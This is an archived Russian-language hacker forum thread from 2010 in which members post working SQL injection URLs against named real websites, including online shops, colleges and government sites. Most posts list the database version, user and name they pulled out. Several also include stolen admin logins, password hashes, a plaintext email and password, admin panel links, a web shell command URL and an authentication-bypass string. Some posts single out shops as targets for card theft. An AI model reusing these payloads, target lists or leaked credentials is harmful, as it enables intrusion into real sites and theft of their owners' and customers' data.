Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

Ваши Sql-инъекции

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Уязвимости] >> Ваши Sql-инъекции

Имя

Сообщение

<< Старые топики Новые топики >>

Ваши Sql-инъекции - 2010-03-29 03:47:28.550000

Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000

По многочисленным просьбам. Здесь вы можете выкладывать найденные вами sql-инъекции. Раскрученные. Вопросы в этой теме задавать не надо, вопросы задаются здесь —> http://forum.xakep.ru/m_978175/tm.htm

Пример:


 http://site.com/index.php?id=-1+union+select+version(),2,3,4,5--+
 
 version: 5.0.1
 user: site_admin
 database: mdb

PS: СВОИ Sql-инъекции, а не с других ресурсов

Post #: 1

RE: Ваши Sql-инъекции - 2010-03-29 05:36:44.656666

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

http://heb.temp.venga-business.com/index.php?p=person&i=30910+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,concat_ws(0x3a,user(),version(),database()),45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,concat_ws(0x3a,username,password)+from+user--

user: hebbes@localhost
version: 5.0.84
db: hebbes

Post #: 2

RE: Ваши Sql-инъекции - 2010-03-29 05:49:33.936666

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

http://www.planete-usbco.com/news.php?id=-34+union+select+concat_ws(0x3a,LogAdmin,PwdAdmin),2,3,4+from+administrateurs-- http://www.ombsaleri.com/news.php?id=-34+union+select+1,2,3,4,5,6,7,8,9,0,11,12+from+user--

http://www.ombsaleri.com/news.php?id=-34+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,username,password),9,0,11,12+from+vittoria_joomla15.jos_users--

—–

http://www.lagunacollege.edu/news.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7+from+forum.forum_user--

version: 5.1.26-rc-5.1.26rc
db:db83956_LCAD
user: root@72.47.228.18
file priv: Y

Post #: 3

RE: Ваши Sql-инъекции - 2010-03-29 06:05:18.913333

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

http://water.grace.edu/news.php?id=-2+union+select+1,2,option_value,4,5,6+from+wordpress.wp_options-- pr 5

Post #: 4

RE: Ваши Sql-инъекции - 2010-03-29 06:15:44.360000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

http://www.moodiereport.com/category.php?id=39+and+1=0+union+select+1,2,3,concat_ws(0x3a,database(),user(),version()),5,6,7,8,9,10,11,12,13--

так я думаю удобнеее :)

Post #: 5

RE: Ваши Sql-инъекции - 2010-03-29 06:34:40.180000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

разница есть ;)

Post #: 6

RE: Ваши Sql-инъекции - 2010-03-29 16:19:13.246666

Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333

quote:

http://demo.xbtit.com/index.php?page=torrents&active=2&order=speed+or(1,1)=(select+count(0),concat((select+database()+from+information_schema.tables+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)–+&by=ASC

Свои 5 копеек ;)

Post #: 7

RE: Ваши Sql-инъекции - 2010-03-29 17:59:20.450000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

http://www.buy-lighters.co.uk/product.php?id=226+and+1=0+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17--

Онлайн шоп ;);)

4.1.22-standard
buyl001_shop
buyl001@localhost

—-

quote:

http://www.fowlgreenfarm.co.uk/seeanddo_detail.php?id=3+and+1=0+union+select+1,concat_ws(0x3a,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users–

Очередной шоп за СС ;)

email: d.graham@mixd.co.uk
password: 68UDoGQi3hIJs
—
http://www.fowlgreenfarm.co.uk/admin/
—
fowlgreenfarm:5.0.77:fgfusers@localhost

—

quote:

http://www.a1-sound.co.uk/detail.php?id=1117+and+1=0+union+select+concat_ws(0x3a,userid,password),2,3,4,5,6,7,8,9,10+from+tblUser–

Онлайн шоп за СС.

Версия: 5

Post #: 8

RE: Ваши Sql-инъекции - 2010-03-29 18:27:36.430000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

http://inter-climat.com.ua/index.php?id=1+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),3,4,5,6,7,8,9--

Version: 5.0.51a-3ubuntu5.4-log
User: root@localhost
Database: shop_interis_db

Post #: 9

RE: Ваши Sql-инъекции - 2010-03-29 18:47:42.160000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.defibshop.co.uk/training.php?id=96+and+1=0+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31–

4.1.22-log
trainuser@localhost
impdb

Post #: 10

RE: Ваши Sql-инъекции - 2010-03-29 19:13:05.986666

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://s-tales.ru/index.php?id=1&story=35&page=-1+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)–

5.0.90-log
ertegir_viking@localhost
ertegir_stales

Post #: 11

RE: Ваши Sql-инъекции - 2010-03-29 19:26:27.233333

Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000

World of Warcraft:


 http://www.rpcrusade.com/portal/kb.php?mode=cat&cat=(select+1+from+(select+count(0),concat(version(),floor(rand(0)*2))+from+phpbb_kb_categories+group+by+2+limit+0,1)a)--+
 
 base:d00370f2
 ver:4.1.22-max-log

Властелин колец:


 http://www.one-ring.co.uk/phpBB2/kb.php?mode=cat&cat=(select+1+from+(select+count(0),concat(version(),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+0,1)a)--+
 
 base:onedring
 ver:5.0.83-log
 tmpdir:/mysql-tmp
 datadir:/var/lib/mysql/pow15/
 os:unknown-linux-gnu

Post #: 12

RE: Ваши Sql-инъекции - 2010-03-29 21:01:10.930000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

http://renault-yaroslavl.ru/index.php?id=1&news=-22+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)--

4.1.22-log
sim-yar_mysql@10.1.22.90
sim_yar_db

вот ещё одна

http://www.academiaga.ru/index.php?id=-1+union+select+concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),2,3,4--
4.0.27-LOG
AGA_WWW@195.242.3.251
AGA_WWW

Тройной удар! [sm=ag.gif]

http://www.print-union.ru/index.php?id=1&numb=-20+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),4,5,6,7--

5.0.45
print_union@localhost
PRINT_UNION

Post #: 13

RE: Ваши Sql-инъекции - 2010-03-30 01:22:34.510000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.beyondcomparison.ru/articles.php?id=22+and+1=0+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7+from+user–

admin:cd4fda824f6d3c2747356c9381bb9918

Version: 4.1.25-log
User: beyondco@fe47.hc.ru
DataBase: wwwbeyondcompari

PR: 2
ТиЦ: 10

—

quote:

http://www.namakon.ru/articles.php?id=147+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9–

Version:4.0.27-log
User:namakon@localhost
DataBase:namakon

ТИЦ: 90
PR: 3

—

quote:

http://www.nbgrand.ru/articles.php?id=87+and+1=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6–

Version:4.1.25-log
User:nbgrand6_user@localhost
DataBase:nbgrand6_data

ТИЦ: 0
PR: 0

Post #: 14

RE: Ваши Sql-инъекции - 2010-03-30 01:27:14.820000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.mosteploseti.ru/index.php?id=-99+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),3–

5.1.30
yan@localhost
mosteploseti

Post #: 15

RE: Ваши Sql-инъекции - 2010-03-30 01:30:53.566666

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.nskfitness.ru/articles.php?id=85+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11–

Version:5.0.67
User:sibdetiru@78.108.81.131
DataBase:sibdetiru_nskfit

ТИЦ: 190
PR: 3

—

quote:

http://www.homeobooks.ru/articles.php?id=13+and+1=0+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a,logon,password),11,12,13,14+from+users–

admin:uchisprogat

Version:5.0.67-log
User:u18936@10.10.153.183
Database:u18936

ТИЦ: 100
PR: 3

Post #: 16

RE: Ваши Sql-инъекции - 2010-03-30 01:41:02.410000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://centerreg.ru/index.php?id=-1+union+select+1,2,3,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),5,6–

5.0.67-log
u76424_centerreg@10.10.223.238
u76424_centerreg

Post #: 17

RE: Ваши Sql-инъекции - 2010-03-30 01:44:15.480000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.globaltribesoutreach.org/articles.php?id=7+and+1=0+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7–

Version: 4.1.22-standard
User: vfdaqwud_phpauth@localhost
Database: vfdaqwud_gtocontent

ТИЦ: 0
PR: 1

—

quote:

http://www.globalislamicplatform.org/articles.php?id=7+and+1=0+union+select+1,2,3,concat_ws(0x3a,name,password),5+from+tbl_admin–

admin:admin

Version: 5.0.77-community-nt
User: gip@localhost
Database: gip

ТИЦ: 0
PR: 1

Post #: 18

RE: Ваши Sql-инъекции - 2010-03-30 01:49:50.306666

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://suzuki-yaroslavl.ru/index.php?id=1&news=-99+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)–

4.1.22-log
sim-yar_mysql@10.1.22.90
sim_yar_db

Post #: 19

RE: Ваши Sql-инъекции - 2010-03-30 01:53:32.800000

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.wallercountycitizens.org/articles.php?ID=7+and+1=0+union+select+1,concat_ws(0x3a,uname,pwrd),3,4,5,6,7,8+from+admin–

Version: 5.0.89-community
User: walle3@localhost
Database: walle3_cbwc

ТИЦ: 0
PR: 3

—

quote:

http://www.chicagocounseling.org/resources/articles.php?id=7+and+1=0+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5–

Version:5.1.45-log
User:chicagoc_corners@localhost
Database:chicagoc_cornerstone

ТИЦ: 0
PR: 2

—

quote:

http://www.vize.cz/en/news.php?id=348+and+1=0+union+select+1,concat_ws(0x3a,Version(),User(),Database()),3,4,5,6–

Version:5.0.51a-24-log
User:vize@localhost
Database:vize

ТИЦ: 10
PR: 6

—

quote:

http://zahady.mysteria.cz/news.php?id=1129+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),user(),database())–

Version:5.0.67-community-log
User:zahady14@192.168.12.6
database:zahady14

ТИЦ: 0
PR: 4

Post #: 20

RE: Ваши Sql-инъекции - 2010-03-30 02:00:54.800000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.ertegi.ru/index.php?id=1&idnametext=1&idpg=-1+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),4–

5.0.90-log
ertegir_francua@localhost
ertegir_ertegi

quote:

http://host4web.ru/index.php?id=-1+union+select+concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)–

4.1.22-standard
host4web_hostweb@localhost
host4web_site

Post #: 21

RE: Ваши Sql-инъекции - 2010-03-30 02:35:41.933333

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.hokej-mbk.cz/news.php?id=581+and+1=0+union+select+1,2,3,concat_ws(0x3a,email,heslo),5,6,7,8+from+uzivatel–

marek.klement@seznam.cz:cceed45d87796b103b1cc03ba414b10d

Version:5.0.32-Debian_7etch12
User:db7046_mbk@85.93.165.120
Database:db7046_mbk

ТИЦ: 0
PR: 2

Post #: 22

RE: Ваши Sql-инъекции - 2010-03-30 19:10:14.300000

Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333

http://www.ombudsman.mos.ru/index.php?page=contaAct'+union+select+1,2,3,4,5,6,7,8,9,10,user()+from+information_schema.tables/*

ombudsman@localhost

Post #: 23

RE: Ваши Sql-инъекции - 2010-03-30 22:43:34.233333

$r00tk1t$

Сообщений: 84
Оценки: 0
Присоединился: 2010-03-13 14:21:48.886666

quote:

http://www.zbaus.com/news.php?id=6+and+1=0+union+select+1,2,3,c0ncat_ws(0x3a,version(),user(),database()),5,6–

version: 4.1.20-max-log
user: zbausa4_zbausa@76.162.254.194
database: zbausa4_zbausa

Мини-шелл;)
http://www.zbaus.com/bottom.php?cmd=net user

Post #: 24

RE: Ваши Sql-инъекции - 2010-03-31 20:50:08.233333

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.saabzauto.ru/index.php?news=-12+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),3,4–

5.5.1-m2
root@localhost
general_news

quote:

http://zonadostupa.ru/product.php?id=2511+union+select+concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)–

Вся инфа в заголовке страницы.

4.1.25-log
zonado02@fe30.hc.ru
wwwzonadostuparu

quote:

http://www.dom-zdorovja.ru/product.php?id=-133+union+select+1,2,concat(0x3a,version(),0x3a,user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20–

4.1.25-log
domzdor7_alexey@localhost

Post #: 25

RE: Ваши Sql-инъекции - 2010-04-05 17:28:09.883333

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.mirbatareek.ru/product.php?ID=-87+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),4,5,6,7,8,9,10,11,12,13–

5.0.90-log
u60727@10.8.0.38
u60727

Post #: 26

RE: Ваши Sql-инъекции - 2010-04-07 15:17:07.946666

Brutick

Сообщений: 8
Оценки: 0
Присоединился: 2010-04-07 07:29:25.673333

quote:

http://www.tapsns.com/news.php?newsid=45+union+select+group_concat(0x0b,user_login,0x3a,user_pass,0x3a,user_email),2,3+from+wp_users

MySQL 5.0.67-community-nt
wp_users::user_login:user_pass:user_email

quote:

.http://www.sana-med.com.ua/articles.php?id=-4+union+select+1,2,3,group_concat(0x0b,username,0x3a,user_password)+from+sana_forum_users

MySQL 5.1.22-rc-log
sana_forum_users::username:user_password

Post #: 27

RE: Ваши Sql-инъекции - 2010-04-07 17:02:51.720000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.elmotor.ru/product.php?id=-4+union+select+concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),2,3–

4.0.27-max-log
elmotor@v41.valuehost.ru
elmotor

Post #: 28

RE: Ваши Sql-инъекции - 2010-04-08 00:36:01.463333

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

quote:

http://iamsynergy.com/trainers.php?id=-2%20union%20select%201,user%28%29,version%28%29,4,database%28%29,6,7,8,9,10,11,12–

user: IAMSYNERGYCO@76.12.13.60
version: 5.0.77-LOG
database: iamsynergyco
=============================

quote:

http://www.fitnessbuildshealth.com/trainers.php?id=19%20union%20select%201,2,3,4,5,6,version%28%29,8,user%28%29,database%28%29,11,12,13,14,15,16,17,18–

version: 4.1.20-max-log
user: start6_ray@71.18.216.33
database: start6_fit
=============================

quote:

http://www.mythosaudio.com/admin/

user: admin
pass: 1'or'1'='1
=============================

quote:

http://www.tcbosterhout.be/trainers.php?id=-3%20union%20select%201,version%28%29,user%28%29,database%28%29,5,6,7,8–

version: 4.1.21-standard
user: tcbo01be@localhost
database: bosterhout

Post #: 29

RE: Ваши Sql-инъекции - 2010-04-08 04:22:56.170000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.digiworld.com.ua/buy.php?id=-255+union+select+1,2,3,concat(0x3a,version(),0x3a,user()),5–

4.1.22-log
notebksv_db1@localhost

quote:

http://www.kalibr.by/buy.php?id=-303+union+select+1,2,3,4,5,6,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),8,9,10,11,12,13,14,15,16,17,18,19,20–

5.0.81-community-log
toolbyto_alex@localhost
toolbyto_tool

quote:

http://www.panavto-yamaha.ru/tpl/level3/buy.php?id=-1722+union+select+1,2,3,4,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),6,7–

4.1.22
pyamaha@localhost
pyamaha

Post #: 30

RE: Ваши Sql-инъекции - 2010-04-08 08:29:25.663333

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

quote:

http://www.worstpreviews.com/headline.php?id=-15182+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(0x7873716C696E6A626567696E,version(),0x2F2A2A2F,database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8–

Version: 5.0.88-log
Database: alexgi_worstreview
User: alexgi_2@localhost

quote:

http://iamsynergy.com/trainers.php?id=-2%20union%20select%201,user%28%29,version%28%29,4,database%28%29,6,7,8,9,10,11,12–

User: IAMSYNERGYCO@76.12.13.60
Version: 5.0.77-LOG
Database: iamsynergyco

quote:

http://www.fitnessbuildshealth.com/trainers.php?id=19%20union%20select%201,2,3,4,5,6,version%28%29,8,user%28%29,database%28%29,11,12,13,14,15,16,17,18–

Version: 4.1.20-max-log
User: start6_ray@71.18.216.33
Database: start6_fit

quote:

http://www.tcbosterhout.be/trainers.php?id=-3%20union%20select%201,version%28%29,user%28%29,database%28%29,5,6,7,8–

Version: 4.1.21-standard
User: tcbo01be@localhost
Database: bosterhout

Post #: 31

RE: Ваши Sql-инъекции - 2010-04-08 17:06:13.540000

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.av-club.ru/index.php?id=12+union+select+1,2,3,4,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),6–

Есть доступ к таблице юзеров mysql

5.0.45
av@localhost
av

quote:

http://www.samsungremont.ru/index.php?dir=shop&razdel=-7+union+select+1,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),3,4,5,6–

4.1.25-log
samsungr@localhost
wwwsamsungremont

Post #: 32

RE: Ваши Sql-инъекции - 2010-04-08 21:27:45.650000

Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333

http://www.law.cf.ac.uk/contactsandpeople/biography.php?sn=-1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(version(),floor(rand(0)*2)))+–+

http://www.mpl.mpg.de/mpf/php/abteilung3/cms/_rubric/detail.php?nr=11+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(version(),floor(rand(0)*2)))–&rubric=Publications

Post #: 33

RE: Ваши Sql-инъекции - 2010-04-09 16:23:59.680000

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

http://www.tristihii.ru/news-view.php?ID=9999999+union+select+1,2,3,4,group_concat(username,0x3a,userpass)+from+poll_user–

Post #: 34

RE: Ваши Sql-инъекции - 2010-04-09 23:59:46.790000

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

http://www.womanshealth.gr/showArticleList.php?listID=1+union+select+1,2,database(),user(),5,6,7

Post #: 35

RE: Ваши Sql-инъекции - 2010-04-10 15:23:34.810000

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

http://www.ukurier.gov.ua/index.php?p=-4+union+select+1,concat_ws(0x3a,login,password),3+from+users+limit+31,1&id=4

Post #: 36

RE: Ваши Sql-инъекции - 2010-04-10 20:55:30.880000

Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000

http://astro.krutomer.ru/daily/common/4&&substring(version(),1,1)=5
есть phpbb-форум

Post #: 37

RE: Ваши Sql-инъекции - 2010-04-10 21:29:50.973333

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

http://www.belayavorona.org/?type=-4%20union%20select%20group_concat%28login,0x3a,password,0x3a,name,0x3a,email,0x3a,admin+SEPARATOR+0x3C62723E%29+from+auth_user–

http://dimsign.ru/?type=555&cat=-134%20union%20select%201,group_concat%28login,0x3a,password,0x3a,name,0x3a,email,0x3a,admin+SEPARATOR+0x3C62723E%29,3,4+from+auth_user–

http://www.velikograd.ru/my.php?id=1+and+1=0+union+select+concat_ws(0x3a,logauth,pasauth),2,3+from+auth
====
http://www.velikograd.ru/admin/

Post #: 38

RE: Ваши Sql-инъекции - 2010-04-11 00:22:05.486666

MERRON

Сообщений: 456
Оценки: 312
Присоединился: 2009-05-05 12:42:29.883333

quote:

http://www.exam-accompaniment.co.uk/buy.php?id=820+union+select+1,2,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),4,5,6,7–

5.0.89-community
web32-tracks@localhost
web32-tracks

quote:

http://www.machine-market.de/buy.php?id=1+union+select+1,2,3,4,5,6,7,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),9,10,11,12,13,14–

5.0.51a-24+lenny3-log
sql14968-1@localhost
db149681

quote:

http://www.superinf.ru/buy.php?id=-224+union+select+1,2,3,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),5,6,7,8,9,10,11,12–

5.0.84:u44824@78.108.84.11:b44824

quote:

http://www.iams.co.uk/cat/where-to-buy.php?id=-46+union+select+concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a)–

5.0.37-community-log
iamsfr@192.168.1.197
iamsfr

quote:

http://www.thefalesteam.com/buy.php?ID=-38+union+select+1,2,3,4,5,6,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),8,9,10,11,12–

5.0.77
fales_web@localhost
fales

quote:

http://www.kalibr.by/buy.php?id=-872+union+select+1,2,3,4,5,6,concat(0x3a,version(),0x3a,user(),0x3a,database(),0x3a),8,9,10,11,12,13,14,15,16,17,18,19,20–

5.0.81-community-log
toolbyto_alex@localhost
toolbyto_tool

Post #: 39

RE: Ваши Sql-инъекции - 2010-04-11 00:40:33.476666

Alex.Black

Сообщений: 2113
Оценки: 0
Присоединился: 2010-04-08 00:23:20.663333

quote:

http://www.fitnessbuildshealth.com/trainers.php?id=19%20union%20select%201,2,3,4,5,6,version%28%29,8,user%28%29,database%28%29,11,12,13,14,15,16,17,18–

4.1.20-max-log
start6_ray@71.18.216.33
start6_fit

Post #: 40

Страниц: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

Все форумы >> [Уязвимости] >> Ваши Sql-инъекции

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.